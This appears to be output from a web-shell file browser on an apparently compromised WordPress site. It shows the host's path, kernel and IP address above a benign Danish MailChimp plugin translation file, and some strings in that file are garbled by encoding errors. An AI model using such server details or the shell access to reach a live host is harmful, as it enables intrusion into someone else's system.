PK śqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/cheaptravel.live/wordpress/wp-content/plugins/mailchimp/po/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : /home/trave494/cheaptravel.live/wordpress/wp-content/plugins/mailchimp/po/mailchimp_i18n-da_DK.po

# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR MailChimp API Support Team
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
msgid ""
msgstr ""
"Project-Id-Version: MailChimp 1.1.5\n"
"Report-Msgid-Bugs-To: http://wordpress.org/tag/mailchimp\n"
"POT-Creation-Date: 2009-07-15 14:23-0400\n"
"PO-Revision-Date: 2011-02-09 16:57-0500\n"
"Last-Translator: MailChimp API <api@mailchimp.com>\n"
"Language-Team: Jan <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-Language: Danish\n"
"X-Poedit-Country: DENMARK\n"

#: mailchimp_includes.php:27
#: mailchimp_includes.php:62
msgid "You must fill in %s."
msgstr "Du skal udfylde %s,"

#: mailchimp_includes.php:59
msgid "That email address is already subscribed to the list"
msgstr "Den email-adresse er allerede tilmeldt"

#: mailchimp_includes.php:66
#, php-format
msgid "%s has invalid content"
msgstr "%s har ugyldigt indhold"

#: mailchimp_includes.php:68
msgid "An invalid Interest Group was selected"
msgstr "En ugyldigt interessegruppe er valgt"

#: mailchimp_includes.php:69
msgid "That email address is invalid"
msgstr "Den email-adresse er ugyldig"

#: mailchimp_includes.php:75
msgid "Success, you've been signed up! Please look for our confirmation email!"
msgstr "Tillykke. Du er nu tilmeldt. Se efter om du har modtaget en bekræftelsesmail."

#: mailchimp_includes.php:131
msgid "required field"
msgstr "Obligatorisk felt"

#: mailchimp_includes.php:168
msgid "unsubscribe from list"
msgstr "Frameld listen"

#: mailchimp_includes.php:171
msgid "powered by"
msgstr "Drevet af"

#: mailchimp.php:135
msgid "MailChimp Setup"
msgstr "MailChimp Setup"

#: mailchimp.php:150
msgid "While upgrading the plugin setup, we were unable to login to your account. You will need to login again and setup your list."
msgstr "Under opgraderingen af plugin setuppet, var det ikke muligt at logge på din konto. Du er nødt til at logge på igen og sætte din liste op."

#: mailchimp.php:156
msgid "MailChimp List Setup"
msgstr "MailChimp Liste Setup"

#: mailchimp.php:166
msgid "Success! We were able to verify your username & password! Let's continue, shall we?"
msgstr "Tillykke. Vi kunne verificere dit brugernavn og password. Lad os fortsætte..."

#: mailchimp.php:178
msgid "Uh-oh, we were unable to login and verify your username & password. Please check them and try again!"
msgstr "Ups! Vi kunne ikke logge på og verificere dit brugernavn og password. Kontrollér venligst at de er rigtige og prøv igen."

#: mailchimp.php:179
msgid "The server said:"
msgstr "Serveren meldte:"

#: mailchimp.php:222
msgid "Sign up for"
msgstr "Tilmeld dig til"

#: mailchimp.php:223
msgid "Subscribe"
msgstr "Abbonnér"

#: mailchimp.php:253
#, php-format
msgid "Success! Loaded and saved the info for %d Merge Variables and %d Interest Groups from your list"
msgstr "Success! Loaded and saved the info for %d Merge Variables and %d Interest Groups from your list"

#: mailchimp.php:256
msgid "Now you should either Turn On the MailChimp Widget or change your options below, then turn it on."
msgstr "Nu skal du enten slå MailChimp Widget til, eller ændre indstillignerne herunder, og derefter slå den til."

#: mailchimp.php:284
msgid "Successfully Reset your List selection... Now you get to pick again!"
msgstr "Du har nu resat dit listevalg... Nu kan du vælge igen!"

#: mailchimp.php:290
msgid "Monkey Rewards turned On!"
msgstr "Monkey Rewards er slĂĄet til!"

#: mailchimp.php:294
msgid "Monkey Rewards turned Off!"
msgstr "Monkey Rewards er slĂĄet fra!"

#: mailchimp.php:299
msgid "Fancy Javascript submission turned On!"
msgstr "Fancy Javascript tilmelding er slĂĄet til!"

#: mailchimp.php:303
msgid "Fancy Javascript submission turned Off!"
msgstr "Fancy Javascript tilmelding er slĂĄet fra!"

#: mailchimp.php:309
msgid "Unsubscribe link turned On!"
msgstr "Frameldingslink er slĂĄet til!"

#: mailchimp.php:313
msgid "Unsubscribe link turned Off!"
msgstr "Frameldingslink er slĂĄet fra!"

#: mailchimp.php:359
msgid "Successfully Updated your List Subscribe Form Settings!"
msgstr "Tilmeldingsindstillingerne er blevet opdateret."

#: mailchimp.php:372
msgid "Login Info"
msgstr "Login Info"

#: mailchimp.php:373
msgid "To start using the MailChimp plugin, we first need to login and get your API Key. Please enter your MailChimp username and password below."
msgstr "For at starte med at bruge MailChimp-plugin'et, skal vi først logge ind og hente din API-nøgle. Skriv venligtst dit brugernavn og password herudner."

#: mailchimp.php:375
msgid "Don't have a MailChimp account? <a href='http://www.mailchimp.com/tryit.phtml' target='_blank'>Try one for Free</a>!"
msgstr "Har du ikke en MailChimp Konto ?  <a href='http://www.mailchimp.com/tryit.phtml' target='_blank'>FĂĄ een helt gratis</a>!"

#: mailchimp.php:379
msgid "Username"
msgstr "Brugernavn"

#: mailchimp.php:383
msgid "Password"
msgstr "Password"

#: mailchimp.php:389
msgid "Save & Check"
msgstr "Gem og kontrollér"

#: mailchimp.php:394
msgid "Notes"
msgstr "Noter"

#: mailchimp.php:395
msgid "Changing your settings at MailChimp.com may cause this to stop working."
msgstr "Hvis du ændrer dine instillinger på Mailchimp.com, kan du risikere at dette ikke virker længere."

#: mailchimp.php:396
msgid "If you change your login to a different account, the info you have setup below will be erased."
msgstr "Hvis du ændrer dit login til en anden konto, vil dit setup herunder blive slettet."

#: mailchimp.php:397
msgid "If any of that happens, no biggie - just reconfigure your login and the items below..."
msgstr "Hvis noget af det sker er det ikke noget problem. Du skal bare rekonfigurere dit login og indstillingerne herunder."

#: mailchimp.php:403
msgid "Logged in as"
msgstr "Logget ind som"

#: mailchimp.php:407
msgid "Logout"
msgstr "Log ud"

#: mailchimp.php:421
msgid "Your Lists"
msgstr "Dine Lister"

#: mailchimp.php:423
msgid "Please select the List you wish to create a Signup Form for."
msgstr "Vælg venligst den liste du vil lave en tilmeldingsform for."

#: mailchimp.php:432
#, php-format
msgid "Uh-oh, you don't have any lists defined! Please visit %s, login, and setup a list before using this tool!"
msgstr "Ups! Du har ikke defineret nogen lister. Besøg venlgst %s. login og lav en liste før du bruger dette værktø!"

#: mailchimp.php:437
msgid "Select A List"
msgstr "Vælg en liste"

#: mailchimp.php:450
msgid "Update List"
msgstr "Opdatér en liste"

#: mailchimp.php:453
msgid "Note:"
msgstr "Note:"

#: mailchimp.php:453
msgid "Updating your list will not cause settings below to be lost. Changing to a new list will."
msgstr "Hvis du opdaterer din liste vil dine indstillinger ikke blive tabt. Hvis du skifter liste vil de blive tabt."

#: mailchimp.php:471
msgid "Reset List Options and Select again"
msgstr "Nulstil listevalg og vælg igen."

#: mailchimp.php:474
msgid "Subscribe Form Widget Settings for this List"
msgstr "Denne listes indstillinger for tilmeldingsform-widget"

#: mailchimp.php:475
msgid "Selected MailChimp List"
msgstr "Valgt MailChimp Liste"

#: mailchimp.php:496
#: mailchimp.php:569
#: mailchimp.php:630
msgid "Update Subscribe Form Settings"
msgstr "Opdatér indstillinger for tilmeldingsformen"

#: mailchimp.php:499
msgid "Monkey Rewards"
msgstr "Monkey Rewards"

#: mailchimp.php:501
msgid "turning this on will place a \"powered by MailChimp\" link in your form that will earn you credits with us. It is optional and can be turned on or off at any time."
msgstr "Hvis denne er slĂĄet til bliver der andbragt et \"powered by MailChimp\" -link pĂĄ din form, sĂĄ du kan tjene credits. Det er valgfrit, og kan slĂĄs til og fra til enhver tid."

#: mailchimp.php:505
msgid "Use Javascript Support?"
msgstr "Vil du bruge Javascript?"

#: mailchimp.php:507
msgid "turning this on will use fancy javascript submission and should degrade gracefully for users not using javascript. It is optional and can be turned on or off at any time."
msgstr "Hvis denne er slået til bliver der brugt Fancy Javascript tilmeldiing, og burde aftage pænt for brugere der ikke bruger Javascript. Det er valgfrit, og kan slås til og fra til enhver tid."

#: mailchimp.php:511
msgid "Include Unsubscribe link?"
msgstr "Inkludér frameldingslink ?"

#: mailchimp.php:513
msgid "turning this on will add a link to your host unsubscribe form"
msgstr "Hvis denne er slået til, vil der blive tilføjet et link til din frameldingsform"

#: mailchimp.php:517
msgid "Header content"
msgstr "Header indhold"

#: mailchimp.php:520
msgid "You can fill this with your own Text, HTML markup (including image links), or Nothing!"
msgstr "Du kan udfylde denne med din egen tekst, HTML markup (inkl. links til billeder), eller ingenting!"

#: mailchimp.php:525
msgid "Submit Button text"
msgstr "Tilmeldingsknaptekst"

#: mailchimp.php:532
msgid "Custom Styling"
msgstr "Custom Styling"

#: mailchimp.php:536
msgid "Turned On?"
msgstr "SlĂĄet til?"

#: mailchimp.php:537
msgid "Header Settings (only applies if there are no HTML tags in the Header Content area above)"
msgstr "Headerinstillinger (bruges kun hvis der ikke er HTML tags i Header Indhold herover)"

#: mailchimp.php:538
#: mailchimp.php:552
msgid "Border Width"
msgstr "Kantbredde"

#: mailchimp.php:539
#: mailchimp.php:553
msgid "Set to 0 for no border, do not enter <strong>px</strong>!"
msgstr "Sættes til 0 hvis kant ikke ønskes. Skriv ikke <strong>px</strong>!"

#: mailchimp.php:541
#: mailchimp.php:555
msgid "Border Color"
msgstr "Kantfarve"

#: mailchimp.php:542
#: mailchimp.php:545
#: mailchimp.php:548
#: mailchimp.php:556
#: mailchimp.php:559
#: mailchimp.php:562
msgid "do not enter initial <strong>#</strong>"
msgstr "Indtast ikke det første <strong>#</strong>"

#: mailchimp.php:551
msgid "Form Settings"
msgstr "Form instillinger"

#: mailchimp.php:571
msgid "Merge Variables Included"
msgstr "Flettevariable inkulderede"

#: mailchimp.php:574
msgid "No Merge Variables found."
msgstr "Ingen flettevariable fundet."

#: mailchimp.php:580
#: mailchimp.php:614
msgid "Name"
msgstr "Navn"

#: mailchimp.php:581
msgid "Tag"
msgstr "Tag"

#: mailchimp.php:582
msgid "Required?"
msgstr "Obligatorisk?"

#: mailchimp.php:583
msgid "Include?"
msgstr "Inkludér?"

#: mailchimp.php:603
msgid "Interest Groups"
msgstr "Interessegrupper"

#: mailchimp.php:605
msgid "No Interest Groups Setup for this List"
msgstr "Der er ingen interessegrupper til denne liste"

#: mailchimp.php:610
msgid "Show?"
msgstr "Vis?"

#: mailchimp.php:617
msgid "Input Type"
msgstr "Input Type"

#: mailchimp.php:620
msgid "Options"
msgstr "Valgmuligheder"